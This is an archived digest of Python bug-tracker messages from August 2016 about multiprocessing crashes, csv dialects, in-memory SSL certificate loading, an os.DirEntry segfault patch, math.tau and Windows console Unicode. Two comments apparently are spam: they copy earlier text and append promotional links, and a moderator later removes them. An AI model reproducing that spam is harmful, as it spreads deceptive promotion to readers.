Sat, 13 Aug 2016 03:38:51 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1471059531.04.0.278891300783.issue27698@psf.upfronthosting.co.za> Changes by Eryk Sun : ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 01:34:24 2016 From: report at bugs.python.org (Eryk Sun) Date: Sat, 13 Aug 2016 05:34:24 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471066464.1.0.224435338101.issue27749@psf.upfronthosting.co.za> Eryk Sun added the comment: To diagnose the access violation, it may help if you install the debug binaries and try to reproduce the crash using python_d.exe. Attach the dump file to this issue. Regarding the multiprocessing question, if its a separate issue you need to file it on its own and nosy davin. At first glance, I don't see why the handle is None in the lock's __exit__ method. After you acquire the lock, try logging the connection information. For example: import multiprocessing as mp import multiprocessing.util def test(lock): with lock: mp.util.info('test:lock:token: %r' % (lock._token,)) mp.util.info('test:lock:handle: %r' % (lock._tls.connection._handle,)) if __name__ == '__main__': mp.util.log_to_stderr(mp.util.INFO) lock = mp.Manager().Lock() p = mp.Process(target=test, args=(lock,)) p.start() p.join() ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 01:34:46 2016 From: report at bugs.python.org (Eryk Sun) Date: Sat, 13 Aug 2016 05:34:46 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471066486.98.0.77359589974.issue27749@psf.upfronthosting.co.za> Changes by Eryk Sun : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 02:29:54 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 13 Aug 2016 06:29:54 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1471047596.03.0.457132341618.issue27038@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Brendan Moloney added the comment: > It would be nice if there was a supported way to create a DirEntry object from a path. If you don't want to document the constructor perhaps expose some helper function or class method (i.e. from_path)? It's a deliberate choice to not expose the constructor. You should not built such objzct yourself. It requires low-level data coming from readdir() or FindFirstFile(). If you don't pass such data, you loose the whole purpose of the optimization. Maybe the DirEntry doc must be more explicit on that point? Please use pathlib instead. pathlib objects don't cache os.stat() result, but that's also deliberate! It was proposed to add an optional cache, but the idea was not accepted. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 02:49:56 2016 From: report at bugs.python.org (lockywolf) Date: Sat, 13 Aug 2016 06:49:56 +0000 Subject: [issue27752] CSV DictReader default dialect name 'excel' is misleading, as MS Excel doesn't actually use ', ' as a separator. Message-ID: <1471070996.16.0.75939310279.issue27752@psf.upfronthosting.co.za> New submission from lockywolf: Hello, everyone. I want to report a minor usability issue: I wanted to use the csv module to load CSV's and the documentation says that the default dialect for reading CSVs is 'excel'. However, the delimiter used with this dialect in Python is a comma (','), whereas in fact (even though is's called _comma_ separated values) MS Excel (2016) uses a semicolon (';') as a delimiter. Therefore, the Python's 'excel' actually doesn't read Excel generated files. ---------- components: Library (Lib) messages: 272579 nosy: lockywolf priority: normal severity: normal status: open title: CSV DictReader default dialect name 'excel' is misleading, as MS Excel doesn't actually use ',' as a separator. type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 03:16:04 2016 From: report at bugs.python.org (Antti Haapala) Date: Sat, 13 Aug 2016 07:16:04 +0000 Subject: [issue27752] CSV DictReader default dialect name 'excel' is misleading, as MS Excel doesn't actually use ', ' as a separator. In-Reply-To: <1471070996.16.0.75939310279.issue27752@psf.upfronthosting.co.za> Message-ID: <1471072564.36.0.539037938182.issue27752@psf.upfronthosting.co.za> Antti Haapala added the comment: Excel's behaviour has always been locale-dependent. If the user's locale uses , as the decimal mark , then ; has been used as the column separator in "C"SV. However, even if you use autodetection with sniff, it is impossible to detect with 100 % accuracy, e.g, is the following csv row comma or semicolon separated: 1,2;3;4,5;6,7;8;9 The dialect could be documented better though, as currently it simply says: The excel class defines the usual properties of an Excel-generated CSV file. It is registered with the dialect name 'excel'. And there really should be a separate dialect for Excel-semicolon separated values, as a couple billion people would see ; in their CSV. ---------- nosy: +ztane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 04:22:01 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Sat, 13 Aug 2016 08:22:01 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1471076521.62.0.235254994812.issue23968@psf.upfronthosting.co.za> Changes by Chi Hsuan Yen : ---------- nosy: +Chi Hsuan Yen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 06:13:42 2016 From: report at bugs.python.org (wevsty) Date: Sat, 13 Aug 2016 10:13:42 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471083222.89.0.0580022688792.issue27749@psf.upfronthosting.co.za> wevsty added the comment: About the crash,python_d.exe crash dump download address is http://o8z0k9748.bkt.clouddn.com/python_d_from_vs_20160813_930A2640.7z Crash dump display,at the > python35_d.dll!_Py_ForgetReference(_object * op) Line 1758 C python35_d.dll!_Py_Dealloc(_object * op) Line 1786 C python35_d.dll!tupledealloc(PyTupleObject * op) Line 236 C I hope this can be helpful to you. About the multiprocessing question I modified my code becomes def execute_select_command(command): values = [] try: with Session_lock.G_Process_Lock: mp.util.info('test:lock:token: %r' % (Session_lock.G_Process_Lock._token,)) mp.util.info('test:lock:handle: %r' % (Session_lock.G_Process_Lock._tls.connection._handle,)) conn = sqlite3.connect(SQLite_DB_NAME,check_same_thread = False) cursor = conn.cursor() try: cursor.execute(command) values = cursor.fetchall() except Exception as e: pass finally: cursor.close() conn.close() return values except Exception as e: print(e) traceback.print_exc() mp.util.info('Exception:lock:token: %r' % (Session_lock.G_Process_Lock._token,)) mp.util.info('Exception:lock:handle: %r' % (Session_lock.G_Process_Lock._tls.connection._handle,)) pass return values finally: pass After run?Console output [INFO/SpawnPoolWorker-18] test:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-2876-0-n6aj8inv', id='d0b0efa7d0') [INFO/SpawnPoolWorker-18] test:lock:handle: 720 [INFO/SpawnPoolWorker-17] test:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-2876-0-n6aj8inv', id='d0b0efa7d0') [INFO/SpawnPoolWorker-17] test:lock:handle: 908 [INFO/SpawnPoolWorker-16] test:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-2876-0-n6aj8inv', id='d0b0efa7d0') [INFO/SpawnPoolWorker-16] test:lock:handle: 744 WriteFile() argument 1 must be int, not None [INFO/SpawnPoolWorker-16] Exception:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-2876-0-n6aj8inv', id='d0b0efa7d0') [INFO/SpawnPoolWorker-16] Exception:lock:handle: 744 Could not find thread pid_2720_id_389212239784 this problem and crash both the use of multiprocessing lib after appears.Maybe these two issues are related. If you need my full code or need to open a new issue, please let me know.Thinks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 06:36:44 2016 From: report at bugs.python.org (lissacoffeyx) Date: Sat, 13 Aug 2016 10:36:44 +0000 Subject: [issue13691] pydoc help (or help('help')) should show the doc for help In-Reply-To: <1325406152.03.0.315132806833.issue13691@psf.upfronthosting.co.za> Message-ID: <1471084604.01.0.211062196668.issue13691@psf.upfronthosting.co.za> lissacoffeyx added the comment: I just tested this issue in Python 3.6.0a0 and got this behavior: help('help') brings "Help on _Helper in module _sitebuiltins object:" help(help) brings: Help on _Helper in module _sitebuiltins object: help() invokes the help command line. So this was fixes on the way to python3.6, I can make the test for 3.4 but is 3.4 closed for bug fixing? Can someone check this in 3.5? http://www.followthesteps.net/sky-contact-phone-number/ ---------- nosy: +lissacoffeyx -Cubky, Devin Jeanpierre, eric.araujo, ezio.melotti, jairotrad, jbitcm-, mikehoy, r.david.murray, terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 06:37:58 2016 From: report at bugs.python.org (lissacoffeyx) Date: Sat, 13 Aug 2016 10:37:58 +0000 Subject: [issue3244] multipart/form-data encoding In-Reply-To: <1214849078.87.0.171093103517.issue3244@psf.upfronthosting.co.za> Message-ID: <1471084678.08.0.175103316222.issue3244@psf.upfronthosting.co.za> lissacoffeyx added the comment: In principle I think something like this should go in. Since it is a Message subclass, I'd like it to follow the current Message API whether or not it is located in the email package. __str__ and as_string have the right default for line length (no folding). The current default for line endings is \n, and I think the class should stick with that. You can't use __str__ or as_string to generate what you send on the wire if you are supporting binary data. I am planning additions to the email API that will make integrating this class and adjusting the generated line endings easier. For the latter (assuming the email-sig approves) I plan a __bytes__ method that will generate "wire format", which would include using \r\n line endings and should be just what you need. The current email package does not support the binary content transfer encoding, only 8bit. Support for the binary CTE is another planned addition for 3.3, and I think it can be prioritized ahead of most other features, given that this code needs it. So, you might want to wait until the email pieces are in place, and possibly even help me develop them :) http://qwikfix.co.uk/sky-customer-services/ ---------- nosy: +lissacoffeyx -Chris.Waigl, Johannes.Hoff, ajaksu2, alexz, atommixz, barry, bgamari, catalin.iacob, catlee, cco3, checat, daniel.ugra, eric.araujo, forest_atq, fsteinel, gotgenes, guettli, jnoller, martin.panter, orsenthil, piotr.dobrogost, pitrou, r.david.murray, raylu, shazow, tamentis _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 06:44:12 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 13 Aug 2016 10:44:12 +0000 Subject: [issue3244] multipart/form-data encoding In-Reply-To: <1214849078.87.0.171093103517.issue3244@psf.upfronthosting.co.za> Message-ID: <1471085052.69.0.298196105648.issue3244@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- Removed message: http://bugs.python.org/msg272583 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 06:44:27 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 13 Aug 2016 10:44:27 +0000 Subject: [issue3244] multipart/form-data encoding In-Reply-To: <1214849078.87.0.171093103517.issue3244@psf.upfronthosting.co.za> Message-ID: <1471085067.74.0.678154067543.issue3244@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: +Chris.Waigl, Johannes.Hoff, ajaksu2, alexz, atommixz, barry, bgamari, catalin.iacob, catlee, cco3, checat, daniel.ugra, eric.araujo, forest_atq, fsteinel, gotgenes, guettli, jnoller, martin.panter, orsenthil, piotr.dobrogost, pitrou, r.david.murray, raylu, shazow, tamentis -lissacoffeyx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 06:45:37 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 13 Aug 2016 10:45:37 +0000 Subject: [issue13691] pydoc help (or help('help')) should show the doc for help In-Reply-To: <1325406152.03.0.315132806833.issue13691@psf.upfronthosting.co.za> Message-ID: <1471085137.95.0.842337314397.issue13691@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- Removed message: http://bugs.python.org/msg272582 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 06:46:35 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 13 Aug 2016 10:46:35 +0000 Subject: [issue13691] pydoc help (or help('help')) should show the doc for help In-Reply-To: <1325406152.03.0.315132806833.issue13691@psf.upfronthosting.co.za> Message-ID: <1471085195.25.0.254572403054.issue13691@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: +Cubky, Devin Jeanpierre, eric.araujo, ezio.melotti, jairotrad, jbitcm-, mikehoy, r.david.murray, terry.reedy -lissacoffeyx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 08:08:33 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 12:08:33 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471090113.15.0.768646205644.issue27749@psf.upfronthosting.co.za> Decorater added the comment: Crashes also happen from Recursion if not careful. Idk why but it happens. Although some of it is probably by not using try / catch probably anywhere in the python source code as a safeguard. I always like try / catch even in C++ as you never know when crap might happen to make things crash. A Perfect Example is a Access violation. (Yes I have this is a Standard for me and it gets me to great quality code) (this makes me wonder if Windows does not use try / catch anywhere. It would be nice if Microsoft Required try / catch in every function for drivers as well to hopefully make them more stable.) All I know is I like having a lot of Checks (even if not required) that can actually prevent any and all exceptions to begin with. And yes from what I learned from experiance myself. Always use try and catch anything before it is to late will help you in the long run. (not to mention I blame Microsoft for not replacing their current Windows Update for when Updates Fail with a Detailed list of the names of the update(s) that failed and a description of what the reason is without Error code(s) as the Codes does not tell crap about why they failed. So, yeah I point my fingers at whoever wrote Windows Update, to fix their crap. As this is a issue in windows 7 SP1, 8, 8.1, and 10.) ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 08:58:31 2016 From: report at bugs.python.org (Jan-Philip Gehrcke) Date: Sat, 13 Aug 2016 12:58:31 +0000 Subject: [issue16487] Allow ssl certificates to be specified from memory rather than files. In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za> Message-ID: <1471093111.6.0.32270802929.issue16487@psf.upfronthosting.co.za> Jan-Philip Gehrcke added the comment: Hello! Like everybody in this thread I would love to see this land and have prepared a new patch, hoping that we can process this still for 3.6. Antoine summarized the core task here very well: > Let's stay focused on what is > necessary to solve this use case, IMO (i.e. specify non-file-backed data > as a certification chain or private key). What follows is what I believe is the consensus in this thread about a minimum viable solution (points mentioned earlier, enriched with some detail): - The `certfile` and `keyfile` arguments to `SSLContext.load_cert_chain()` can both be either a file path or a file object. - `str` or `bytes` values to both, `certfile` and `keyfile`, are interpreted as paths. - The `password` behavior must stay as is, independent of `certfile`/`keyfile` being file object or path. - When handing file paths to `load_cert_chain()`, the behavior must stay as is, in all detail. - When handing file objects to `load_cert_chain()`, - use the OpenSSL API call `PEM_read_bio_PrivateKey()` for loading the key data (reading PEM data is what's currently supported). - support the case where the `certfile` file object first presents a private key and then (a) certificate(s), as currently documented: """ Often the private key is stored in the same file as the certificate; in this case, only the certfile parameter to SSLContext.load_cert_chain() and wrap_socket() needs to be passed. If the private key is stored with the certificate, it should come before the first certificate in the certificate chain: """ Ref: - https://docs.python.org/3/library/ssl.html#combined-key-and-certificate - resemble the OpenSSL API call `SSL_CTX_use_certificate_chain_file()` behavior for loading the certificate data (as this is what's currently used in the `SSLContext.load_cert_chain()` implementation in _ssl.c. There is no direct correspondence for this function reading the data directly from memory BIOs. Relevant documentation for resembling that behavior: """ SSL_CTX_use_certificate_chain_file() adds the first certificate found in the file to the certificate store. The other certificates are added to the store of chain certificates using SSL_CTX_add1_chain_cert. """ """ For a longer chain, the client must send the complete chain [...]. This can only be accomplished by either adding the intermediate CA certificates into the trusted certificate store for the SSL_CTX object [...], or by adding the chain certificates using the SSL_CTX_add_extra_chain_cert function, """ """ When building its own certificate chain, an OpenSSL client/server will try to fill in missing certificates from CAfile/CApath, if the certificate chain was not explicitly specified (see SSL_CTX_add_extra_chain_cert, SSL_CTX_use_certificate. """ Refs: - https://github.com/python/cpython/blob/0852878a81edd5c16776a68ce34c45cca233deae/Modules/_ssl.c#L2824 - https://www.openssl.org/docs/manmaster/ssl/SSL_CTX_use_certificate.html - https://www.openssl.org/docs/manmaster/ssl/SSL_CTX_set_client_cert_cb.html - https://www.openssl.org/docs/manmaster/ssl/SSL_CTX_load_verify_locations.html When inspecting the OpenSSL code for SSL_CTX_use_certificate_chain_file(), some of the above statements are not entirely correct. After inspection, to me the safest bet seems to keep the memory/BIO-based load_cert_chain() implementation as close as possible to SSL_CTX_use_certificate_chain_file() from OpenSSL 1.0.2h: https://fossies.org/dox/openssl-1.0.2h/ssl__rsa_8c_source.html#l00685 use_certificate_chain_file() in OpenSSL 1.1.0-pre6: https://fossies.org/dox/openssl-1.1.0-pre6/ssl__rsa_8c_source.html#l00599 Using this as a template (instead of coming up with a solution purely based on OpenSSL docs) ensures that this part of the current `SSLContext.load_cert_chain()` docs will be remain correct: """ The certfile [...] in PEM format containing the certificate as well as any number of CA certificates needed to establish the certificate?s authenticity. """ More behavioral detail that I planned with: - `certfile` and `keyfile`, if given both, must both be a file path or both be a file object. A mixture is undefined behavior and leads to an error depending on the specifics of the mixture. - If `certfile` and `keyfile` are not file paths, expect them to have a read() method and just call it. Let a TypeError or AttributeError be handled by the caller (as done elsewhere in the stdlib). - Use the existing Python MemoryBIO abstractions introduced by Geert Jansen in this beautiful patch: https://github.com/python/cpython/commit/08802a11fdb844a5aaec3a1dc67d8281d582d22b That is, prepare these BIOs in Python code and pass them to an underlying C function that consumes BIOs. A summary of a few things that are in my opinion beyond a minimal implementation (but probably useful in the future!): - Private key deserialization using d2i_PKCS8PrivateKey_bio(). The current implementation only supports SSL_FILETYPE_PEM and some of the semantics of the load_cert_chain() method is specifically adjusted to PEM features. - Certificate deserialization supporting formats other than PEM (the current implementation uses SSL_CTX_use_certificate_chain_file() which only supports PEM). - New types for certificates and keys. Supporting additional serialization formats greatly increases the complexity of the task at hand here. We can save that for later. An important note on backwards compatibility: >> Antoine, are you suggesting that we remove the current c-level >> capability to use file system files (using open()) and just go with >> raw bytes data at the C api level, and then do the 'filename or >> filelike object' in Python land? > > Yes, I think that's reasonable. Hopefully it won't break any existing uses. I absolutely agree that Python code should be responsible for doing the distinction between file paths and file objects. However, I do not agree with > remove the current c-level capability to use file system files After following the code I am rather sure that we should leave the current C implementation (`_ssl__SSLContext_load_cert_chain_impl()` in Modules/_ssl.c) as untouched as possible, and not try to integrate the new logic into that very same function. Instead, I figured, we should use Python code to delegate to one of two different C functions after the distinction between file path and file object has been made, whereas one of the two C functions is the one we used so far. The central argument for having two separate C code paths is that old code must proceed using OpenSSL's SSL_CTX_use_certificate_chain_file(). Hence, I opted for implementing SSLContext.load_cert_chain() in Python, delegating the actual work * to either the current load_cert_chain C implementation if file paths were given or * to a new C implementation resembling SSL_CTX_use_certificate_chain_file(), after read()ing the file object(s) and creating the corresponding MemoryBIO object(s) containing the cert/key data. Comments on tests: * The diff seems radical due to restructuring. I have manually confirmed that the old tests pass against the new code. * Major goal of the test refactoring was to take as much of the old test code as possible (now `_test_load_cert_chain_core()`) and automatically test it with three different input data types: * file paths, as before (now `test_load_cert_chain_core_filepaths()`) * ByteIO buffers (`test_load_cert_chain_core_byte_buffers()`) * StringIO buffers (`test_load_cert_chain_core_text_buffers()`) * Also, there are new test methods specifically targeting those behavioral details that the current load_cert_chain() implementation and the new implementation do _not_ have in common. This mainly accounts for new (better, IMO) error messages created by the OpenSSL API calls in the BIO-based implementation. * In just _one_ of the more complex tests involving actual client/server communication, I have replaced `SIGNED_CERTFILE` (a path) with `bytebuf(SIGNED_CERTFILE)`. Now I'd appreciate your review! Jan-Philip ---------- nosy: +jgehrcke Added file: http://bugs.python.org/file44092/python_16487_jgehrcke_01.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 09:11:46 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 13 Aug 2016 13:11:46 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471093906.56.0.480246143529.issue27736@psf.upfronthosting.co.za> Xiang Zhang added the comment: It looks to me from the traceback Simon given that DirEntryType's dealloc function is called. From the code, shouldn't we Py_INCREF DirEntryType before PyModule_AddObject? ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 09:52:01 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 13 Aug 2016 13:52:01 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471096321.06.0.875572365066.issue27736@psf.upfronthosting.co.za> Xiang Zhang added the comment: Try Simon's snippet I think I am right. With the current code, the result is: 1..1 Segmentation fault (core dumped) With Py_INCREF: 1..1 ok 1 - was able to loop 100 times I upload the working patch. ---------- keywords: +patch Added file: http://bugs.python.org/file44093/issue27736.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 10:09:14 2016 From: report at bugs.python.org (R. David Murray) Date: Sat, 13 Aug 2016 14:09:14 +0000 Subject: [issue13691] pydoc help (or help('help')) should show the doc for help In-Reply-To: <1325406152.03.0.315132806833.issue13691@psf.upfronthosting.co.za> Message-ID: <1471097354.91.0.549498664316.issue13691@psf.upfronthosting.co.za> R. David Murray added the comment: No 3.4 can't be patched, this is not a security issue. A patch to make the behvior what we want should be generated against either 3.5 or 3.6, and the committer will deal with any issues arising from 3.5 vs 3.6 issues. ---------- versions: +Python 3.5, Python 3.6 -Python 2.7, Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 10:19:57 2016 From: report at bugs.python.org (R. David Murray) Date: Sat, 13 Aug 2016 14:19:57 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471097997.54.0.819030240482.issue27749@psf.upfronthosting.co.za> R. David Murray added the comment: Decorator: In python code you generally want to let the exception bubble up so that you can see what the error was. Sometimes you do want to catch general errors, but mostly you don't. As for C++ try/catch, CPython is written in C, not C++. So, your comment doesn't really have any relevance to this issue, I'm afraid. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 11:17:50 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 15:17:50 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. Message-ID: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> New submission from Decorater: py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. Although I need something that can allow me to import byte like objects if the object contains valid python script data. (basically it would have to act as a import unless I have to exec the data in it which would be totally bad as it would not be able to retain all of the data. Long story short I need a way to import the data returned from the dec_script() function in this: https://bpaste.net/show/694c231c566c ---------- assignee: docs at python components: Documentation, Library (Lib) messages: 272590 nosy: Decorater, docs at python priority: normal severity: normal status: open title: py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 11:41:42 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 13 Aug 2016 15:41:42 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <1471102902.84.0.909872327263.issue27753@psf.upfronthosting.co.za> SilentGhost added the comment: It says "The source code is loaded from the file name *file*". That seems unambiguous enough to me. ---------- nosy: +SilentGhost type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 12:43:08 2016 From: report at bugs.python.org (Xavier Combelle) Date: Sat, 13 Aug 2016 16:43:08 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471106588.5.0.71450874062.issue12345@psf.upfronthosting.co.za> Xavier Combelle added the comment: Python will really follow the tau sort joke ? I never saw it mentioned in any serious math or programming document. All the github search result looks like people who are in this joke (kind of). The page http://tauday.com/state-of-the-tau list very little use of tau in relevant domains, the most relevant to our discussion would be the including of tau in modula-2 standard library. I don't see how the introduction of the unknown tau constant in python programs will make them clearer or better to the targeted public who will read them. I must confess however that 2*pi occurs frequently in formula and these formula would be simplified if tau was used. However an honest and non partisan web site would list all the use of pi without 2 where the formula would be more complicated. I don't see that so I'm still not convinced. I know that Guido van Rossum is the Benevolent dictator for life of python, but as I understand it until this point, the dictator position was used after all argument took place and not before. ---------- nosy: +xcombelle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 12:43:16 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 13 Aug 2016 16:43:16 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <1471106596.58.0.70093887244.issue27753@psf.upfronthosting.co.za> Xiang Zhang added the comment: Maybe in the sentence, name should be named? ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 12:52:26 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 16:52:26 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <1471107146.79.0.125315137121.issue27753@psf.upfronthosting.co.za> Decorater added the comment: yeah, true and to specify that it cannot be anything but a file. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:01:35 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 13 Aug 2016 17:01:35 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <1471107695.95.0.716150926862.issue27753@psf.upfronthosting.co.za> SilentGhost added the comment: Do you care to propose an improved wording? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:17:41 2016 From: report at bugs.python.org (Steve Dower) Date: Sat, 13 Aug 2016 17:17:41 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471108661.49.0.268649289302.issue1602@psf.upfronthosting.co.za> Steve Dower added the comment: I'm now actively working on this for 3.6. I've attached my first pass at implementing an alternative raw IO stream that uses the *ConsoleW APIs instead of the CRT. It works fine for basic print() and input() (including handling redirection "properly", which is a separate issue to change the default encoding there, and not issue17620 yet). I expect there to be many *many* compatibility issues with this change, so we really need everyone interested to try it out and see what doesn't work. So far I haven't even tried looking at readline hooks or similar (though maybe all those issues fall under issue17620?). Any *specific, technical* information about compatibility issues would be appreciated (i.e. enough that I can fix the issue without having to completely reproduce your setup - I'll be working on doing those myself anyway, so simply saying "X is broken" isn't helpful yet). It doesn't look like this will be available in 3.6.0a4, but I think I should be able to land it by the first beta. ---------- assignee: -> steve.dower nosy: +ned.deily versions: +Python 3.6 -Python 3.5 Added file: http://bugs.python.org/file44094/winconsoleio.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:37:04 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 13 Aug 2016 17:37:04 +0000 Subject: [issue27754] Changing the meaning of bool.__invert__ Message-ID: <1471109824.62.0.86263104398.issue27754@psf.upfronthosting.co.za> New submission from Vedran ?a?i?: Not that I'm very much for it, but I'd like this not to be forgotten: https://mail.python.org/pipermail/python-ideas/2016-April/039665.html Is this going to be done in Py3.6? Or officially dropped? ---------- messages: 272597 nosy: veky priority: normal severity: normal status: open title: Changing the meaning of bool.__invert__ _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:40:02 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 13 Aug 2016 17:40:02 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471110002.32.0.370563998496.issue12345@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: > However an honest and non partisan web site would list all the use of pi without 2 where the formula would be more complicated. I don't see that so I'm still not convinced. "non partisan" is probably hard to find, but if you want to see the other side of the story, http://www.thepimanifesto.com/ is probably most accessible. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:47:26 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 17:47:26 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <1471110446.38.0.548887529743.issue27753@psf.upfronthosting.co.za> Changes by Decorater : Added file: http://bugs.python.org/file44095/py_compile.rst _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:47:52 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 17:47:52 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <1471110472.92.0.327252568188.issue27753@psf.upfronthosting.co.za> Decorater added the comment: Ok, file uploaded. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:51:13 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 13 Aug 2016 17:51:13 +0000 Subject: 